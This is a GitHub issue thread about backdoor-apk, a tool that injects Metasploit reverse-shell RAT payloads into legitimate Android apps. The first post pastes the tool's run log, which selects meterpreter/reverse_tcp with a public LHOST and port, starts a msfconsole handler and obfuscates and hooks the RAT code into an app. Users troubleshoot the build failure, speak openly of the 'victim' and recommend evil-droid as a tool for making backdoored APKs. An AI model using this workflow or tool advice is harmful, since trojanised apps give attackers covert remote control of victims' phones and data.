Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

backdoor-apk error "Failed to add hook" #144

Closed
steve01101 opened this issue Jul 17, 2018 · 13 comments
Closed

backdoor-apk error "Failed to add hook" #144

steve01101 opened this issue Jul 17, 2018 · 13 comments
Labels
Milestone

Comments

@steve01101
Copy link

steve01101 commented Jul 17, 2018

`1) meterpreter/reverse_http 4) shell/reverse_http
2) meterpreter/reverse_https 5) shell/reverse_https
3) meterpreter/reverse_tcp 6) shell/reverse_tcp
[?] Please select an Android payload option: 3
[?] Please enter an LHOST value: 52.14.61.47
[?] Please enter an LPORT value: 18120
[+] Android manifest permission options:

  1. Keep original
  2. Merge with payload and shuffle
    [?] Please select an Android manifest permission option: 1
    [+] Handle the payload via resource script: msfconsole -r backdoor-apk.rc
    [] Generating RAT APK file...done.
    [
    ] Decompiling original APK file...done.
    [+] Keeping permissions of original project
    [] Running proguard on RAT APK file...done.
    [
    ] Decompiling obfuscated RAT APK file...done.
    [] Creating new directories in original project for RAT smali files...done.
    [
    ] Copying RAT smali files to new directories in original project...done.
    [] Fixing RAT smali files...done.
    [
    ] Obfuscating const-string values in RAT smali files...done.
    [] Locating smali file to hook in original project...done.
    [
    ] Adding hook in original smali file..../backdoor-apk.sh: line 85: [: too many arguments
    done.
    [!] Failed to add hook`
@rameshdevalla
Copy link

This is the biggest problem in this tool did you got the solution

@steve01101
Copy link
Author

I have version 2.3.1 of apktool, I do not understand why it does not work. what is the hook?

@rameshdevalla
Copy link

Hook means a file which gives connection between you and victim

@rameshdevalla
Copy link

For reverse connection

@steve01101
Copy link
Author

I solved by changing apk, but now there is another problem "Failed to recompile original project with backdoor"

@rameshdevalla
Copy link

Use evil-droid v ll get an backdoor apk without any flaws its pretty much bro I'm using that

@steve01101
Copy link
Author

ok thanks I can use evil-droid with msfconsole? and ngrok?

@rameshdevalla
Copy link

rameshdevalla commented Jul 19, 2018 via email

@steve01101
Copy link
Author

steve01101 commented Jul 19, 2018

are you serious? an error with evil-droid "Failed to verify signed artifacts"

@steve01101
Copy link
Author

steve01101 commented Jul 19, 2018

I would like to use backdoor-apk. if someone knows how to fix my problem with backdoor-apk I will thank him

@dana-at-cp dana-at-cp added this to the Release 0.2.3 milestone Sep 27, 2018
@dana-at-cp
Copy link
Owner

@steve01101 @rameshdevalla A new release is coming soon that resolves a number of issues.

@dana-at-cp
Copy link
Owner

@steve01101 @rameshdevalla Please try version 0.2.4 and let me know if the problem persists.

@dana-at-cp dana-at-cp added the bug label Sep 27, 2018
@dana-at-cp
Copy link
Owner

@steve01101 @rameshdevalla This should be fixed in versions 0.2.4 and 0.2.4a. Please reopen a new issue if you encounter the same problem.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

3 participants